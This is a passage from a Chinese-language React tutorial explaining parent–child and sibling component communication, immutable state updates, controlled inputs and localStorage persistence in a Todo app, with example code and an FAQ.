TodoInput内部,当表单提交时,调用onAdd(inputValue),将新任务的文本传回父组件。

同样,TodoList接收onDeleteonToggle,在点击删除按钮或复选框时调用这些回调,并传递todo.id

TodoStats接收onClearCompleted,点击按钮时调用。

关键点

  • 子组件只是触发事件,真正的修改逻辑在父组件中。
  • 数据变化的原因集中在父组件,便于追踪和维护。

3.3 兄弟组件通信(通过共同父组件)

兄弟组件之间没有直接通信,而是通过它们共同的父组件作为桥梁。

以添加任务为例:

  1. TodoInput调用onAdd,将新任务文本传给父组件App
  2. 父组件执行addTodo,更新todos状态。
  3. 父组件重新渲染,将新的todos传给TodoList,将重新计算的activeCountcompletedCount传给TodoStats
  4. TodoListTodoStats接收到新的props,自动更新视图。

这样,TodoListTodoStats虽然不直接联系,但通过父组件的状态变化实现了同步。这就是状态提升的核心思想:将共享状态提升到最近的共同父组件中。

为什么这是最佳实践?

  • 单一数据源:所有共享数据都在父组件,修改也集中于此。
  • 组件解耦:每个子组件只依赖自己的props,不关心其他组件。
  • 可预测:数据流是单向的,从父到子,变化原因来自子组件的回调。

3.4 不可变更新

在父组件的修改方法中,我们使用了展开运算符(...)、filtermap等方法来返回新数组,而不是直接修改原数组。

例如:

// 添加:创建新数组,包含原数组所有元素再加一个新元素
setTodos([...todos, { id: Date.now(), text, completed: false }]);

// 删除:filter 返回新数组,不含指定 id
setTodos(todos.filter(todo => todo.id !== id));

// 切换:map 返回新数组,指定 id 的元素替换为新对象
setTodos(todos.map(todo =>
  todo.id === id ? { ...todo, completed: !todo.completed } : todo
));

为什么必须这样做? React通过浅比较状态的前后引用是否变化来决定是否重新渲染。如果直接修改原数组(例如todos.push(newTodo)),然后调用setTodos(todos),由于引用未变,React可能不会触发更新。因此,必须返回一个新的数组或对象。

3.5 受控组件

TodoInput中,<input>元素的值绑定到inputValue状态,并通过onChange事件更新状态。这种模式称为受控组件

<input
  type="text"
  value={inputValue}
  onChange={e => setInputValue(e.target.value)}
/>

这样,React state成为“唯一数据源”,输入框的值始终与状态同步,方便处理表单逻辑。

四、扩展:实现数据持久化(localStorage + useEffect)

目前我们的Todo应用功能完整,但刷新页面后数据会丢失。为了解决这个问题,我们可以利用浏览器的localStorage将数据保存在硬盘上。

4.1 为什么需要持久化?

  • 提升用户体验:用户关闭浏览器后再次打开,之前的任务依然存在。
  • 让应用更像一个“真实”的应用。

4.2 初始化时从localStorage读取

修改App.jsx中的useState,使用惰性初始函数从localStorage读取初始数据:

const [todos, setTodos] = useState(() => {
  const saved = localStorage.getItem('todos');
  return saved ? JSON.parse(saved) : [];
});

这样,组件初始化时,如果localStorage中已有保存的todos,就使用它;否则使用空数组。惰性初始函数保证读取操作只在初始化时执行一次,避免每次渲染都读取。

4.3 监听变化并保存到localStorage

我们希望每当todos变化时,自动将最新数据写入localStorage。这可以用useEffect实现:

useEffect(() => {
  localStorage.setItem('todos', JSON.stringify(todos));
}, [todos]);
  • 第一个参数是副作用函数,执行保存操作。
  • 第二个参数是依赖数组[todos],表示只有当todos变化时才执行该函数。
  • 组件首次渲染时也会执行一次(如果todos有初始值,就会保存一次,不影响)。

4.4 完整代码(包含持久化)

只需修改App.jsx,添加上述两处代码,其他组件完全不变。修改后的App.jsx如下:

import { useState, useEffect } from 'react';
import TodoList from './components/TodoList';
import TodoInput from './components/TodoInput';
import TodoStats from './components/TodoStats';

function App() {
  // 初始化时从localStorage读取
  const [todos, setTodos] = useState(() => {
    const saved = localStorage.getItem('todos');
    return saved ? JSON.parse(saved) : [];
  });

  // 添加任务
  const addTodo = (text) => {
    setTodos([...todos, { id: Date.now(), text, completed: false }]);
  };

  // 删除任务
  const deleteTodo = (id) => {
    setTodos(todos.filter(todo => todo.id !== id));
  };

  // 切换任务完成状态
  const toggleTodo = (id) => {
    setTodos(todos.map(todo =>
      todo.id === id ? { ...todo, completed: !todo.completed } : todo
    ));
  };

  // 清除所有已完成任务
  const clearCompleted = () => {
    setTodos(todos.filter(todo => !todo.completed));
  };

  // 派生数据
  const activeCount = todos.filter(todo => !todo.completed).length;
  const completedCount = todos.filter(todo => todo.completed).length;

  // 持久化:todos变化时自动保存
  useEffect(() => {
    localStorage.setItem('todos', JSON.stringify(todos));
  }, [todos]);

  return (
    <div className="todo-app">
      <h1>My Todo List</h1>
      <TodoInput onAdd={addTodo} />
      <TodoList
        todos={todos}
        onDelete={deleteTodo}
        onToggle={toggleTodo}
      />
      <TodoStats
        total={todos.length}
        active={activeCount}
        completed={completedCount}
        onClearCompleted={clearCompleted}
      />
    </div>
  );
}

export default App;

4.5 注意事项

  • useEffect在浏览器完成布局与绘制之后执行,不会阻塞渲染。
  • 保存复杂对象时需要使用JSON.stringify,读取时使用JSON.parse
  • 如果todos很大,频繁写入localStorage可能影响性能,可以添加防抖优化,但本例中无需。

4.6效果图

屏幕录制 2026-02-22 221753.gif 我们可以看到当页面刷新时原来的数据依然存在

五、总结与思考

5.1 三种通信方式回顾

通信类型 实现方式 代码示例
父→子 props传递数据 <TodoList todos={todos} />
子→父 父组件传递回调函数,子组件调用 onAdd={addTodo},子组件内onAdd(text)
兄弟↔兄弟 通过共同的父组件状态提升 兄弟组件都依赖父组件的todos,并通过父组件回调修改

5.2 持久化要点

  • 使用useState惰性初始化从localStorage读取初始数据。
  • 使用useEffect监听数据变化,自动同步到localStorage。

5.3 最佳实践总结

  • 状态尽可能提升:需要共享的状态放在最近的共同父组件中。
  • props只读:永远不要在子组件中修改props。
  • 回调命名规范:以on开头,如onDelete
  • 不可变更新:使用展开运算符或map/filter返回新数组,不要直接修改原状态。
  • 分离UI状态和业务状态:如表单输入使用内部state,核心数据放在父组件。

5.4 常见问题

Q:为什么子组件不能直接修改props? A:如果子组件可以修改props,数据变化源头将不可追溯,调试困难。React的设计哲学是数据自上而下流动,修改必须通过事件向上传递。

Q:兄弟组件必须通过父组件通信吗? A:如果它们没有共同的父组件,或者层级太深,可以使用Context或状态管理库。但大多数情况下,提升状态到共同父组件是最简单可靠的方式。

Q:使用useState更新数组/对象时,为什么一定要返回新引用? A:React通过浅比较决定是否重新渲染。如果直接修改原数组,然后调用setTodos(todos),由于引用未变,React可能不会触发更新。必须返回一个新数组。

遇到问题欢迎留言讨论!


最后:希望这篇文章能帮你彻底搞懂React组件通信。如果你觉得有用,请点赞收藏,让更多初学者看到!

❌